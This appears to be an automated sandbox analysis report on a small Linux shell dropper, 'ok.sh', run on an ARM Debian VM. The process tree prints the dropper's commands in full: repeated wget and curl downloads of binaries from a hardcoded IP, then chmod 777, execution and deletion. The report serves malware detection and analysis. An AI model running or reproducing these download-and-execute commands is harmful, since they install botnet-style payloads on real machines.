Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/09/2026, 03:59

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260902-ej4ygafl6x
  • SHA256 7c8936eea92686924155c03b15400323ec6f9a3ff5e9d21deeb95bfb6e9d52f9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:650
    • /usr/bin/wget
      wget http://5.182.210.174/a374c0
      2⤵
        PID:655
      • /usr/bin/curl
        curl -O http://5.182.210.174/a374c0
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:671
      • /bin/chmod
        chmod 777 a374c0
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/a374c0
        ./a374c0 bc
        2⤵
          PID:678
        • /bin/rm
          rm -rf a374c0
          2⤵
            PID:681
          • /bin/rm
            rm -rf a374c0.1
            2⤵
              PID:682
            • /usr/bin/wget
              wget http://5.182.210.174/fc1f84
              2⤵
                PID:683
              • /usr/bin/curl
                curl -O http://5.182.210.174/fc1f84
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:684
              • /bin/chmod
                chmod 777 fc1f84
                2⤵
                • File and Directory Permissions Modification
                PID:685
              • /tmp/fc1f84
                ./fc1f84 bc
                2⤵
                  PID:686
                • /bin/rm
                  rm -rf fc1f84
                  2⤵
                    PID:688
                  • /bin/rm
                    rm -rf fc1f84.1
                    2⤵
                      PID:689
                    • /usr/bin/wget
                      wget http://5.182.210.174/b407be
                      2⤵
                        PID:690
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/b407be
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:691
                      • /bin/chmod
                        chmod 777 b407be
                        2⤵
                        • File and Directory Permissions Modification
                        PID:692
                      • /tmp/b407be
                        ./b407be bc
                        2⤵
                          PID:693
                        • /bin/rm
                          rm -rf b407be
                          2⤵
                            PID:695
                          • /bin/rm
                            rm -rf b407be.1
                            2⤵
                              PID:696
                            • /usr/bin/wget
                              wget http://5.182.210.174/ca1a79
                              2⤵
                                PID:697
                              • /usr/bin/curl
                                curl -O http://5.182.210.174/ca1a79
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:701
                              • /bin/chmod
                                chmod 777 ca1a79
                                2⤵
                                • File and Directory Permissions Modification
                                PID:710
                              • /tmp/ca1a79
                                ./ca1a79 bc
                                2⤵
                                  PID:712
                                • /bin/rm
                                  rm -rf ca1a79
                                  2⤵
                                    PID:714
                                  • /bin/rm
                                    rm -rf ca1a79.1
                                    2⤵
                                      PID:716
                                    • /usr/bin/wget
                                      wget http://5.182.210.174/4d735c
                                      2⤵
                                        PID:718
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/4d735c
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:726
                                      • /bin/chmod
                                        chmod 777 4d735c
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:735
                                      • /tmp/4d735c
                                        ./4d735c bc
                                        2⤵
                                          PID:739
                                        • /bin/rm
                                          rm -rf 4d735c
                                          2⤵
                                            PID:741
                                          • /bin/rm
                                            rm -rf 4d735c.1
                                            2⤵
                                              PID:742
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/6c866d
                                              2⤵
                                                PID:744
                                              • /usr/bin/curl
                                                curl -O http://5.182.210.174/6c866d
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:755
                                              • /bin/chmod
                                                chmod 777 6c866d
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:758
                                              • /tmp/6c866d
                                                ./6c866d bc
                                                2⤵
                                                  PID:759
                                                • /bin/rm
                                                  rm -rf 6c866d
                                                  2⤵
                                                    PID:761
                                                  • /bin/rm
                                                    rm -rf 6c866d.1
                                                    2⤵
                                                      PID:762
                                                    • /usr/bin/wget
                                                      wget http://5.182.210.174/cbd468
                                                      2⤵
                                                        PID:763
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/cbd468
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:764
                                                      • /bin/chmod
                                                        chmod 777 cbd468
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:765
                                                      • /tmp/cbd468
                                                        ./cbd468 bc
                                                        2⤵
                                                          PID:766
                                                        • /bin/rm
                                                          rm -rf cbd468
                                                          2⤵
                                                            PID:768
                                                          • /bin/rm
                                                            rm -rf cbd468.1
                                                            2⤵
                                                              PID:769
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/a464d3
                                                              2⤵
                                                                PID:770
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.174/a464d3
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:771
                                                              • /bin/chmod
                                                                chmod 777 a464d3
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:774
                                                              • /tmp/a464d3
                                                                ./a464d3 bc
                                                                2⤵
                                                                  PID:776
                                                                • /bin/rm
                                                                  rm -rf a464d3
                                                                  2⤵
                                                                    PID:779
                                                                  • /bin/rm
                                                                    rm -rf a464d3.1
                                                                    2⤵
                                                                      PID:780
                                                                    • /usr/bin/wget
                                                                      wget http://5.182.210.174/d7dea9
                                                                      2⤵
                                                                        PID:782
                                                                      • /usr/bin/curl
                                                                        curl -O http://5.182.210.174/d7dea9
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:790
                                                                      • /bin/chmod
                                                                        chmod 777 d7dea9
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:799
                                                                      • /tmp/d7dea9
                                                                        ./d7dea9 bc
                                                                        2⤵
                                                                          PID:800
                                                                        • /bin/rm
                                                                          rm -rf d7dea9
                                                                          2⤵
                                                                            PID:803
                                                                          • /bin/rm
                                                                            rm -rf d7dea9.1
                                                                            2⤵
                                                                              PID:805
                                                                            • /usr/bin/wget
                                                                              wget http://5.182.210.174/190fcc
                                                                              2⤵
                                                                                PID:806
                                                                              • /usr/bin/curl
                                                                                curl -O http://5.182.210.174/190fcc
                                                                                2⤵
                                                                                • Checks CPU configuration
                                                                                • Reads runtime system information
                                                                                PID:815
                                                                              • /bin/chmod
                                                                                chmod 777 190fcc
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:845
                                                                              • /tmp/190fcc
                                                                                ./190fcc bc
                                                                                2⤵
                                                                                  PID:846
                                                                                • /bin/rm
                                                                                  rm -rf 190fcc
                                                                                  2⤵
                                                                                    PID:847
                                                                                  • /bin/rm
                                                                                    rm -rf 190fcc.1
                                                                                    2⤵
                                                                                      PID:848
                                                                                    • /usr/bin/wget
                                                                                      wget http://5.182.210.174/6d4af7
                                                                                      2⤵
                                                                                        PID:849
                                                                                      • /usr/bin/curl
                                                                                        curl -O http://5.182.210.174/6d4af7
                                                                                        2⤵
                                                                                        • Checks CPU configuration
                                                                                        • Reads runtime system information
                                                                                        • Writes file to tmp directory
                                                                                        PID:850
                                                                                      • /bin/chmod
                                                                                        chmod 777 6d4af7
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:851
                                                                                      • /tmp/6d4af7
                                                                                        ./6d4af7 bc
                                                                                        2⤵
                                                                                          PID:852
                                                                                        • /bin/rm
                                                                                          rm -rf 6d4af7
                                                                                          2⤵
                                                                                            PID:854
                                                                                          • /bin/rm
                                                                                            rm -rf 6d4af7.1
                                                                                            2⤵
                                                                                              PID:855
                                                                                            • /usr/bin/wget
                                                                                              wget http://5.182.210.174/96a1bc
                                                                                              2⤵
                                                                                                PID:856
                                                                                              • /usr/bin/curl
                                                                                                curl -O http://5.182.210.174/96a1bc
                                                                                                2⤵
                                                                                                • Checks CPU configuration
                                                                                                • Reads runtime system information
                                                                                                • Writes file to tmp directory
                                                                                                PID:857
                                                                                              • /bin/chmod
                                                                                                chmod 777 96a1bc
                                                                                                2⤵
                                                                                                • File and Directory Permissions Modification
                                                                                                PID:858
                                                                                              • /tmp/96a1bc
                                                                                                ./96a1bc bc
                                                                                                2⤵
                                                                                                  PID:859
                                                                                                • /bin/rm
                                                                                                  rm -rf 96a1bc
                                                                                                  2⤵
                                                                                                    PID:861
                                                                                                  • /bin/rm
                                                                                                    rm -rf 96a1bc.1
                                                                                                    2⤵
                                                                                                      PID:862

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        a374c0

                                                                                                        • Path /tmp/a374c0
                                                                                                        • Size 19B
                                                                                                        • SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
                                                                                                        • MD5 SHA1 SHA512